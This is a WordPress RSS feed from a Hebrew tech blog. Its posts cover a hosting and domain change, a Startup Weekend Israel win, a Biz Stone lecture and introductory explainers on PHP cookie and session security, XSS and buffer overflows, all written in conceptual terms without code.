<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>&#8235;אלון, תכנות וכל השאר&#8236;</title>	<atom:link href="http://krooc.info/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://krooc.info</link>
	<description>&#8235;בלוג העוסק בעולם האינטרנט, תכנות ואבטחת מידע. מנוהל על ידי אלון עבאדי&#8236;</description>	<lastBuildDate>Wed, 10 Feb 2010 06:43:35 +0000</lastBuildDate>
	<language>he</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>&#8235;השינויים האחרונים &#8211; מעבר לשרת אחסון ודומיין חדש&#8236;</title>		<link>http://krooc.info/?p=253</link>
		<comments>http://krooc.info/?p=253#comments</comments>
		<pubDate>Wed, 10 Feb 2010 06:43:35 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=253</guid>
		<description><![CDATA[&#8235;קודם כל אני אומר שבשבוע הקרוב אני עובר לשרת אחסון חדש. שנית, לפני כשבוע קיבלתי את המייל הבא: We are selling the domain name krooc.com.  Since you own krooc.info if you would like the more desirable .com version we are making it available to you.  The one time cost is $99.97.  That includes a full year of registration [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>קודם כל אני אומר שבשבוע הקרוב אני עובר לשרת אחסון חדש.</p>
<p>שנית, לפני כשבוע קיבלתי את המייל הבא:</p>
<p style="text-align: left;" dir="ltr">We are selling the domain name <a href="http://krooc.com/" target="_blank">krooc.com</a>.  Since you own <a href="http://krooc.info/" target="_blank">krooc.info</a><br />
if you would like the more desirable .com version we are making it available to you.  The<br />
one time cost is $99.97.  That includes a full year of registration and transfer of<br />
ownership to you.  To purchase or to learn more go to:</p>
<p>$LINK</p>
<p>If you pass on this opportunity someone else could purchase this domain and it may not be<br />
available again.  If you are not interested we will not contact regarding this domain.</p>
<p style="text-align: right;">כשראיתי שהדומיין krooc.com פנוי קניתי אותו לשנתיים, וממש לא ב-100$&#8230;</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=253</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;Startup Weekend Israel&#8236;</title>		<link>http://krooc.info/?p=240</link>
		<comments>http://krooc.info/?p=240#comments</comments>
		<pubDate>Sat, 19 Dec 2009 09:29:59 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=240</guid>
		<description><![CDATA[&#8235;לפני מספר ימים הודיעו לי שזכיתי בתחרות בה השתתפתי בפרס &#8211; כרטיס כניסה לכנס Startup Weekend Israel. כמו כל גיק טוב, ביום רביעי יצאתי לבית IBM בפתח תקווה שם התקיים האירוע עצמו. (כל האירוע סוקר בהרחבה על ידי NewsGeek) באירוע נכחו כ-130 איש שהתבקשו להקים סטארטאפ בתוך שלושה ימים (בסופו של דבר הוקמו כ13 קבוצות). [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>לפני מספר ימים הודיעו לי שז<a href="http://www.newsgeek.co.il/startup-weekend-israel-2009/">כיתי בתחרות בה השתתפתי</a> בפרס &#8211; כרטיס כניסה לכנס <a href="http://israel.startupweekend.org/">Startup Weekend Israel</a>. כמו כל גיק טוב, ביום רביעי יצאתי לבית IBM בפתח תקווה שם התקיים האירוע עצמו. (כל האירוע סוקר בהרחבה על ידי <a href="http://www.newsgeek.co.il/startup-weekend-israel-updates/">NewsGeek</a>)</p>
<p>באירוע נכחו כ-130 איש שהתבקשו להקים סטארטאפ בתוך שלושה ימים (בסופו של דבר הוקמו כ13 קבוצות). במהלך הכנס התחברתי לכארבעה אנשים נוספים ויחד הקמנו פרויקט סטארטאפ שנועד כדי לאפשר אימות של מידע ברשת. בסופם של שלושה ימים ארוכים ומעייפים הצגנו את הפרויקט בפני חבר שופטים מטעם חברות גדולות (Google, IBM ו- Astrails) וזכינו במקום הראשון. הפרויקט היה כיף גדול, ולמרות שהגעתי לכנס מעט סקפטי, אני ממליץ לכולם להתנסות בחוויה. המארגנים, אגב, מסרו שיהיו עוד Startup Weekends בעתיד&#8230; אני לא מתכוון לפספס אותם.</p>
<p>קישורים רלוונטיים:</p>
<ul>
<li><a href="http://www.reversim.com/2009/12/51-startup-weekend.html">פודקאסט מהאירוע ברברסים</a></li>
<li><a href="http://www.israelnewsagency.com/startupweekendisitisraeltechnologyhitechprseoentrepreneurialibmgooglevcsinvestment48201209.html">כתבה נוספת על האירוע ועלינו (אנגלית)</a></li>
<li><a href="http://www.talniri.co.il/marketnews/article.asp?mp=null&amp;cat=1&amp;id=20092">כתבה עלינו באתר טלנירי</a></li>
</ul>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img title="Startup Weekend Israel" src="http://www.krooc.info/uploads/photos/swisrael/1.jpg" alt="Startup Weekend Israel" width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img title="Startup Weekend Israel" src="http://www.krooc.info/uploads/photos/swisrael/2.jpg" alt="Startup Weekend Israel" width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img title="Startup Weekend Israel" src="http://www.krooc.info/uploads/photos/swisrael/3.jpg" alt="Startup Weekend Israel" width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img title="Startup Weekend Israel" src="http://www.krooc.info/uploads/photos/swisrael/4.jpg" alt="Startup Weekend Israel" width="570" height="428" /></dt>
</dl>
</div>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=240</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8235;אבטחת Cookies (עוגיות) ו-Sessions (סשנים) בPHP&#8236;</title>		<link>http://krooc.info/?p=218</link>
		<comments>http://krooc.info/?p=218#comments</comments>
		<pubDate>Sat, 12 Dec 2009 20:55:24 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[אינטרנט וweb 2.0]]></category>
		<category><![CDATA[Cookie Poisoning]]></category>
		<category><![CDATA[Cookies]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[אבטחת סשנים]]></category>
		<category><![CDATA[גיבוב]]></category>
		<category><![CDATA[דפדפנים]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הצפנה]]></category>
		<category><![CDATA[הרעלת עוגיות]]></category>
		<category><![CDATA[סשן]]></category>
		<category><![CDATA[סשנים]]></category>
		<category><![CDATA[עוגיות]]></category>
		<category><![CDATA[פריצת סיסמאות]]></category>
		<category><![CDATA[קוקיז]]></category>
		<category><![CDATA[קוקית]]></category>
		<category><![CDATA[קריפטוגרפיה]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=218</guid>
		<description><![CDATA[&#8235;להוסיף - 
http://www.rawseo.com/news/2009/04/23/how-to-improve-php-session-security/
http://vlib.eitan.ac.il/DB_web_prog/php5g.htm
http://vlib.eitan.ac.il/DB_web_prog/php5f.htm&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><strong>מבוא לקריפטוגרפיה, הצפנה וגיבוב</strong></p>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><strong><strong><img src="http://www.krooc.info/uploads/cookies.jpg" alt="עוגיות, סשנים ומה שבינם" width="570" height="145" /></strong> </strong></dt>
</dl>
</div>
<p><strong> </strong></p>
<p>כשבונים אתר דינאמי, תמיד יש צורך לחשוב על אבטחת המידע. הרשת והמפתחים כבר מזמן לא נאיביים &#8211; אנחנו עדים כל יום לפריצה של אתרים, לפעילותם של האקרים &#8211; כובע שחור שזורעים הרס ואנרכיה ובכל זאת &#8211; אי אפשר לנטוש את האינטרנט, פשוט צריך למצוא דרך שתהיה יעילה מספיק כדי שיהיה מאוד קשה עד בלתי אפשרי לפצח אותה.</p>
<p>בפוסט זה אתייחס לנושאים באבטחה בסיסית עד בינונית שניתן להשיג באתרים מבוססי PHP, להם צריך להיות מודע מתכנת שבונה אתרים דינאמיים. כמובן שבשביל להשיג הגנה מקסימלית יש לעבוד נכון ולא לחשוף את המשתמש לשום קוד אליו הוא לא צריך להיחשף. אעלה בפוסט זה את הטעויות הנפוצות של בוני האתרים הלא מאובטחים, את הדרכים לעקוף את ההגנות וכן כמה דרכים מגוונות להגביר את ההגנה על האתר.</p>
<p><strong>הקדמה</strong></p>
<p>כדי לאבטח את האתר שאנחנו בונים בצורה מקסימלית צריך תמיד לחשוב מחוץ לקופסא, שכן הפתרונות שאנחנו מציעים תמיד נראים לנו כטובים ביותר &#8211; אבל עין אוביקטיבית תמצא בהם את הפגם במהירות. בפוסט זה אתחיל להסביר כיצד ניתן לאבטח את קוד הPHP שלנו בצורה נכונה, אבל כמובן שאבטחת קוד PHP אינה מספקת. כשמאבטחים אתרים דינאמיים תמיד צריך לחשוב על פרצות אחרות, מסוכנות לא פחות, כדוגמאת <a href="http://krooc.info/?p=55">הזרקת SQL</a> כשמשתמשים במסדי נתונים ובSQL, <a href="http://krooc.info/?p=161">הזרקות קוד</a> כשאנחנו מאפשרים למשתמש להכניס קוד JavaScript ללא השגחה מתאימה וכו'.</p>
<p>על מנת לחסוך בהתקשרויות חוזרות ונשנות אל שרת, נצטרך למצוא דרך לשמור מידע על המשתמש בצורה כזו שלא תאפשר למשתמש לשנות אותו ובכך לבלבל את האתר שלנו. קיימות מספר דרכים לשמר מידע על המשתמש. הנפוצות מבינן הן שמירת עוגיות (Cookies) וכן שימוש בסשנים. אסביר בזמן הקרוב על היתרונות, החסרונות והשימוש בכל אחד מהדרכים בצורה נכונה.</p>
<p><strong>עוגיות</strong></p>
<p>הדרך הנפוצה ביותר והמוכרת ביותר לשמירה של מידע על המשתמש היא על ידי שימוש בעוגיות. עוגיות (Cookies, קוקיז) הן קבצי טקסט מזעריים בגדלים של עד 4 קילובייטים שנשמרים אצל הלקוח ושמסוגלים להכיל בתוכם ערכים של משתנים עליהם אנחנו רוצים לשמור לפעמים הבאות בהם נבקר באתר, ושפגים לאחר תקופת זמן שהוגדרה מראש (במידה ולא הוגדר פרק זמן, הקבצים הזמניים יימחקו עם סגירת הדפדפן).</p>
<p>המאפיינים הנפוצים של העוגיה בהם נשתמש הם אלו: שם העוגיה, איתו ניתן לגשת אל העוגיה, ערך העוגיה &#8211; הטקסט החבוי בתוך קובץ הטקסט ותאריך תפוגה.</p>
<p>הבעיה הגדולה של העוגיות הן שהן נמצאות על מחשב הלקוח, לכן הלקוח יכול לבצע בהן שינויים ככל העולה על רוחו, ובכך לשנות ערכים של משתנים אותם שמרנו על המחשב שלו לפעם הבאה שיבקר באתר. קיימים חסרונות שונים לשימוש בעוגיות. מעבר לשינוי ערך העוגיה, ניתן גם לגנוב עוגיות ממחשב אחד ולהשתמש בהם במחשב אחר, ניתן לנצל את העובדה שהעוגיות נשלחות לשרת כדי ליירט אותן ולשנותן.</p>
<p><span style="text-decoration: underline;">לדוגמא:</span> בעקבות שימוש לא נכון בעוגיות שמרנו את שם המשתמש של המשתמש בעוגיה לפעם הבאה שבה הוא ייכנס. המשתמש שינה את ערך העוגיה שלו לשם משתמש של משתמש אחר, וכתוצאה מכך לאחר ששינה את שמו, האתר קרא את המידע שאגור בעוגיה, חשב שהמשתמש הוא משתמש אחר ונתן לו לבצע פעולות במקום המשתמש האחר התמים.</p>
<p>כל שינוי של ערך העוגיה על ידי המשתמש נקרא Cookie Poisoning, והוא דומה מאוד למתקפות ARP Poisoning על רשתות. המידע נערך על ידי המשתמש ובכך מטעה את השרת שקורא נתונים שגויים מהמשתמש. דוגמא קיצונית נוספת היא כאשר משנים את סכום הקניה בעוגיה בחנויות הוירטואליות ובכך משנים את הסכום הכולל של הקניה.</p>
<p>חסרון נוסף של העוגיות הן שהן לא מסוגלות להבחין בין חילופי משתמשים ולכן ייתכן מצב בו ניתן לעוגיה תוקף רחוק, אך המשתמש כבר התחלף ולכן המשתמש החדש יכול להשתמש בעוגיה במקומו.</p>
<p><span style="text-decoration: underline;">לדוגמא:</span> בעקבות שימוש לא נכון בעוגיות שמרנו את מספר כרטיס האשראי על מחשב הלקוח. מכיוון שהמחשב הוא מחשב ציבורי, המידע על המשתמש נשמר על מחשב שיכול להיות בשימוש על ידי מספר משתמשים שינצלו את מספר כרטיס האשראי לרעה, גם שעות וימים לאחר שהמשתמש עזב את המקום ואינו מודע לכך שפרטי כרטיס האשראי שלו בסכנה. מדוגמא זו ניתן לראות כי השימוש בעוגיות נעשה במיטבו כשהמשתמש נכנס אל האתר מהמחשב היחיד והאישי שלו.</p>
<p>אחד מהפתרונות שהופך את השימוש בעוגיות למסוכן פחות הוא הצפנת המידע. כאמור, העוגיות מכילות בתוכן במקרים רבים פרטים מזהים על המשתמש, כאלה ייחודיים שאפשר בעזרתם להתחבר אל האתר. הפרטים הנפוצים שאנו שמים בעוגיות הם מספר מזהה של המשתמש, סיסמתו, שם המשתמש (או המייל) &#8211; במידה והם ייחודיים וכן פרטים על העדפות המשתמש ועסקאותיו. פרטים אלה במקרים רבים הם ייחודיים והם פרטים סודיים. על מנת למנוע מקרה של זיהום עוגיות (Cookie Poisoning) נוכל להעביר את תוכן העוגיות דרך פונקציות גיבוב והצפנה, ולהשתמש בתוצר ההצפנה שאינו דומה למקור ולו במעט.</p>
<p>אבל כמובן שהצפנת המידע לא תגן עלינו מגניבת עוגיות. גם אם הצפנו את המידע כמו שצריך, העתקה של העוגיות (פשוטו כמשמעו) והדבקתן במחשב אחר תתפרש כהתחברות. על מנת למנוע מצבים כאלה, נשתמש בעוגיות בקרה, כאלה שאין להם שימוש ממשי לאתר, אבל יש בהם צורך כדי לאמת את זהותו של המשתמש. האינסטינקט, בדרך כלל, אומר &quot;IP&quot;. אבל בהתחשב בכך שכתובת IP אינה קבועה, הפתרון הזה לא מספיק טוב. במקרים כאלה ניתן להשתמש במידע שיש לנו בעקבות בקשת הHTTP.</p>
<p><em><strong>בהמשך: הצפנה של המידע בעזרת פונקציה מובנית בPHP, סיבוך ההצפנה ידנית, טכניקות לפריצה של ההצפנות הקיימות, מידע שנהוג לשמור בעוגיות, סשנים, אבטחת סשנים מוגברת, כיצד האקרים פורצים סשנים, יירוט מידע ושינויו, מיקומים סטנדרטיים של עוגיות וכיצד לערוך אותן &#8211; בקרוב.</strong></em></p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=218</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;רשמים ומחשבות מהרצאתו של ביז סטון, ממייסדי טוויטר, בישראל&#8236;</title>		<link>http://krooc.info/?p=214</link>
		<comments>http://krooc.info/?p=214#comments</comments>
		<pubDate>Fri, 27 Nov 2009 16:42:40 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[ביז סטון]]></category>
		<category><![CDATA[המכללה למנהל]]></category>
		<category><![CDATA[טוויטר]]></category>
		<category><![CDATA[יזמות]]></category>
		<category><![CDATA[כנס]]></category>
		<category><![CDATA[כנס בוגרים]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=214</guid>
		<description><![CDATA[&#8235;ביום שלישי, ה24.11 יצאתי עם אחי להרצאה של ביז סטון, ממייסדי טוויטר במהלך כנס הבוגרים של המכללה למנהל. לא פוגשים בחור מיוחד כמו ביז סטון (Biz Stone, ממייסדי טוויטר) לעיתים קרובות, וההרצאה שהעביר בכנס הבוגרים של המכללה למנהל הייתה מיוחדת במינה. בשונה מהצורה שבה הרבה מהנוכחים קיבלו את ההרצאה, אני לא הופתעתי כשהוא לא דיבר [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p><img class="alignnone" src="http://www.krooc.info/uploads/bizlogo.jpg" alt="" width="570" height="104" /></p>
<p>ביום שלישי, ה24.11 יצאתי עם אחי ל<a href="http://www.newsgeek.co.il/biz-stone-israel/">הרצאה של ביז סטון, ממייסדי טוויטר במהלך כנס הבוגרים של המכללה למנהל.</a></p>
<p>לא פוגשים בחור מיוחד כמו ביז סטון (<a href="http://twitter.com/biz">Biz </a><a href="http://twitter.com/biz">Stone</a>, ממייסדי טוויטר) לעיתים קרובות, וההרצאה שהעביר בכנס הבוגרים של המכללה למנהל הייתה מיוחדת במינה. בשונה מהצורה שבה הרבה מהנוכחים קיבלו את ההרצאה, אני לא הופתעתי כשהוא לא דיבר על תוכניות עסקיות או אלגוריתמים מסובכים &#8211; למזלי, לא ציפיתי לכאלה. ביז הרצה במשך ארבעים דקות וסיפר על ההחלטות שהביאו ליצירת טוויטר, על הדרך שבה הוא תופס את החיים והרבה תובנות משעשעות.</p>
<p>הוא פתח את ההרצאה בתמונה בה רואים אותו ואת אשתו ביום חתונתם; אשתו עם יד על פניה, מסתכלת אל הרצפה והוא נראה מאושר מתמיד &#8211; הוא סיפר שבאותו רגע הוא ניסה להסביר לאשתו ש&quot;Happy Mistakes are the best kind&quot;, ולא תמיד החיים מתנהלים כמו שציפינו. הוא סיפר שתופעת המיקרו-בלוגינג טוויטר החלה בכלל כפרויקט שונה לגמרי של העברת קטעי אודיו על גבי רשת האינטרנט, אבל התפתחה והשתנתה בעצמה. עם הזמן ביז פיזר המון קלישאות נחמדות באוויר &#8211; &quot;השראה היא משאב שלא נגמר&quot;, &quot;אפשרויות תמיד ניתנות ליצירה&quot;. אימצתי בחום חלק מהן. בנוסף, הוא שיתף מספר סיפורים מעניינים ויוצאי דופן על השימוש בטוויטר, כמו לדוגמא סיפורה של מאפייה שהחלה לעדכן בטוויטר מתי יוצאות עוגיות חמות מהתנור, ובחור שנסע למצריים כדי לצלם הפגנות שעדכן ממצרים שעצרו אותו ושוחרר לאחר מספר שעות אחרי שהמשפחה שלו ראתה את העדכון.</p>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img src="http://krooc.info/uploads/biz/1.jpg" alt="האולם בהכנות אחרונות." width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img class=" " src="http://krooc.info/uploads/biz/2.jpg" alt="בזמן קבלת הפנים" width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img src="http://krooc.co.il/uploads/biz/3.jpg" alt="בכנס היו כמות גדולה של אנשים בשלושה איזורים שונים" width="570" height="428" /></dt>
</dl>
</div>
<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 580px;">
<dt class="wp-caption-dt"><img src="http://krooc.co.il/uploads/biz/5.jpg" alt="בחור שנון וחינני שכיף להקשיב לו" width="570" height="428" /></dt>
</dl>
</div>
<p>לסיכום ובסופו של דבר ההרצאה של ביז הייתה זריקת אדרנלין נהדרת &#8211; הוא לא שיתף סודות מקצועיים של טוויטר, הוא עצמו מודה שהוא לא איש עסקים. במקום, הוא העביר הרצאה נהדרת על החיים שמאחורי מיזם אינטרנטי ופיזר המון חכמת חיים.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=214</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8235;מדריך: XSS &#8211; Cross Site Scripting &#8211; הזרקת קוד (חלק 2)&#8236;</title>		<link>http://krooc.info/?p=182</link>
		<comments>http://krooc.info/?p=182#comments</comments>
		<pubDate>Mon, 02 Nov 2009 20:58:20 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[הזרקות]]></category>
		<category><![CDATA[הזרקת קוד]]></category>
		<category><![CDATA[הכנסת תוכן]]></category>
		<category><![CDATA[הרשאות]]></category>
		<category><![CDATA[השתלות קוד]]></category>
		<category><![CDATA[השתלת קוד]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[מחשבים]]></category>
		<category><![CDATA[משתמשים]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[פרצות]]></category>
		<category><![CDATA[פרצת אבטחה]]></category>
		<category><![CDATA[קוד זדוני]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=182</guid>
		<description><![CDATA[&#8235;אמשיך בסדרת המאמרים על הזרקות קוד (כהמשך לחלק הראשון), ואזכיר שראשי התיבות XSS מתייחסות לסוג פרצות האבטחה Cross Site Scripting, ולא לשפת עיצוב הגליונות CSS, עליה בוודאי אדבר בהזדמנויות אחרות. פרצות XSS לרוב מתחלקות לשני סוגים עיקריים: הראשונה היא פרצה זמנית, כלומר חד פעמית, שנעשית במכוון ולכן יש צורך להפנות את הקורבן לעמוד הספציפי עם [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>אמשיך בסדרת המאמרים על <a href="http://krooc.info/?p=161">הזרקות קוד</a> (כהמשך לחלק הראשון), ואזכיר שראשי התיבות XSS מתייחסות לסוג פרצות האבטחה Cross Site Scripting, ולא לשפת עיצוב הגליונות CSS, עליה בוודאי אדבר בהזדמנויות אחרות.</p>
<p>פרצות XSS לרוב מתחלקות לשני סוגים עיקריים:</p>
<p>הראשונה היא פרצה זמנית, כלומר חד פעמית, שנעשית במכוון ולכן יש צורך להפנות את הקורבן לעמוד הספציפי עם הטעות. לרוב, פרצה זו קורה בעמודים של מנועי חיפוש שמציגים את שאילתת החיפוש באופן חד פעמי לאתר, אך לא שומרים זאת אצלם, כך שצריך להפנות את המשתמש אל עמוד תוצאות החיפוש הספציפי.</p>
<p>השנייה היא פרצה קבועה, שבה ההאקר שומר בדרך כלשהי את הסקריפט על השרת (דוגמא טובה היא למשל מערכת פורומים, בה ההאקר שותל את הסקריפט כהודעה מן המניין), והוא הופך לחלק אינטגרלי מעמוד מסויים.</p>
<p>יש המחשיבים אופציה נוספת שנקראת פרצת XSS מקומית. בפרצה מסוג זה מתכנת שומר בצד המשתמש קוד (לרוב JavaScript פשוט) שנחוץ לו לפעולה שוטפת באופן שגלוי למשתמש ולעיתים קרובות אפילו מאוכסן על מחשבו, למשל, קוד בדיקת תקינות טפסים. בצורה כזו, המשתמש יכול לערוך את קוד בדיקת התקינות באופן עצמאי, ובכך להתגבר על בדיקת התקינות, ולבצע פעולות שלא היה אמור לעשות מההתחלה.</p>
<p>כבודק אתרים, אין צורך לעשות עבודה מרובה כדי לבדוק האם האתר מכיל פרצות XSS או לא. כל מה שצריך זה ידע מועט בJavaScript, והרבה דמיון, שהרי האפשרויות לפרצות &#8211; כמעט ואין-סופיות. אדגים מספר תרחישים אפשריים:</p>
<ul>
<li>האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי להפנות את כל מי שמגיע לעמוד שהוא יוצר לעמוד דמה, שגונב את פרטיהם.</li>
<li>האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי לגנוב את פרטי העוגייה של המשתמש ולשלוח אותם אליו.</li>
<li>האקר מוצא פרצת XSS. הוא מנצל את הפרצה כדי להחדיר לאתר קוד זדוני. הקוד הזדוני שותל במחשב הקורבן רוגלה.</li>
</ul>
<p>למעשה, הקלות שבה ניתן להשיג את הפרטים החסויים של המשתמשים פשוט מטרידה.</p>
<p>במאמר הבא ניכנס לעשייה, נתחיל לבדוק האם האתר מכיל פרצות אבטחה מסוג XSS, איך בודקים, מהם הסקריפטים הנפוצים ואיך מתמודדים עם תיבת הפנדורה שפתחתם ברגע שהתחלתם לקרוא את המאמר הזה. נתראה שם!</p>
</div>]]></content:encoded>			<wfw:commentRss>http://krooc.info/?feed=rss2&amp;p=182</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8235;גלישת חוצץ, גלישות זכרון ותכנות נכון&#8236;</title>		<link>http://krooc.info/?p=178</link>
		<comments>http://krooc.info/?p=178#comments</comments>
		<pubDate>Sat, 31 Oct 2009 21:00:43 +0000</pubDate>
		<dc:creator>&#8235;אלון עבאדי&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[Buffer Overflow]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Denial of Service]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[gets]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Integer Overflow]]></category>
		<category><![CDATA[memcpy]]></category>
		<category><![CDATA[Overflow]]></category>
		<category><![CDATA[Sql Injections]]></category>
		<category><![CDATA[strcpy]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[אבטחת מידע]]></category>
		<category><![CDATA[באג 2000]]></category>
		<category><![CDATA[גלישת חוצץ]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[חוצץ]]></category>
		<category><![CDATA[מדריך]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[פריצות]]></category>
		<category><![CDATA[פרצת אבטחה]]></category>

		<guid isPermaLink="false">http://krooc.info/?p=178</guid>
		<description><![CDATA[&#8235;מדריך זה ינסה להסביר קצת על פרצות האבטחה בשם &#34;גלישת חוצץ&#34; (Buffer Overflow) וגלישה נומרית (Integer Overflow), על הנזקים שגלישות אלו יכולות לעשות ומעט על תכנות נכון. עם זאת, טכניקה זו דומה מאוד להזרקות SQL, לכן אולי כדאי גם לקרוא את הנושא על SQL Injections ולהיות בקיא בנושא. ניתן להגדיר (דיי בקלות) את גלישות החוצץ [...]&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>מדריך זה ינסה להסביר קצת על פרצות האבטחה בשם &quot;גלישת חוצץ&quot; (Buffer Overflow) וגלישה נומרית (Integer Overflow), על הנזקים שגלישות אלו יכולות לעשות ומעט על תכנות נכון. עם זאת, טכניקה זו דומה מאוד להזרקות SQL, לכן אולי כדאי גם לקרוא את הנושא על <a href="http://krooc.info/?p=55">SQL Injections</a> ולהיות בקיא בנושא.</p>
<p>ניתן להגדיר (דיי בקלות) את גלישות החוצץ כשגיאה השטותית ביותר, אך עם התוצאות ההרסניות ביותר. עם זאת, חלק גדול ממה שנאמר כאן כבר לא רלוונטי, אבל מכיוון שהבלוג הזה לא מוגבל לשפה כלשהי או מהדר ספציפי, אפשר לדבר כאן בקלות גם על מקרים שכבר לא תקפים בשפות מסוימות, במהדרים מסוימים וכו'.</p>
<p>כדאי שנבהיר מהו חוצץ (buffer), בכמה משפטים קצרים &#8211; חוצץ הוא מקטע זיכרון שמשמש כשלב ביניים בעת העברת המידע. בדרך כלל, המידע ייכתב אל החוצץ, ולאחר שהחוצץ יתמלא הוא יועבר למיקום הסופי שלו, והחוצץ יחל להתמלא מחדש. שימוש נפוץ כזה לחוצץ הוא בעת פעולת הצריבה לדיסק. מכיוון שיש צורך שהמידע ייצרב ברצף וללא הפסקות לדיסק, צריך להעביר את המידע באופן זמני אל חוצץ, שמשם הוא ייצרב אל הדיסק. בתוכנות רבות גודלו של חוצץ זה הוא 2.2 GB, ולכן לא ניתן לצרוב קבצים בסך של מעבר לגודל זה. כיום גודל החוצצים גדול הרבה יותר.</p>
<p>וכעת לעניינו &#8211; גלישת חוצץ מתבטאת בכך שתוכנית כלשהי חורגת ממגבלותיה, ורושמת לזיכרון יותר ממה שהוגדר לה. דוגמה לכך תהיה להכניס משפט שלם למקום בזכרון שמסוגל להכניס רק תו אחד, אם כי שגיאה כזו תהיה נדירה מאוד, או מספר גדול מאוד למקום שבו ניתן היה להכניס רק ספרות בודדות (מספר קטן בהרבה). התווים האחרים, אם כן, ימשיכו להירשם לזיכרון למקומות בזיכרון שאינם שייכים למשתנה, ובכך ישנו ערכים עליהם אין לנו שליטה. כלומר, בכך אנחנו יכולים לשנות (בטעות) ערכים חשובים של מערכת ההפעלה, משתנה אחר של התוכנית וכו' ולגרום לקריסה של התוכנית (בשפה המקצועית &#8211; Denial Of Service), במקרה הטוב, לשינוי ערכים מהותיים של מערכת ההפעלה או להרצה של קוד זדוני, במקרה הרע.</p>
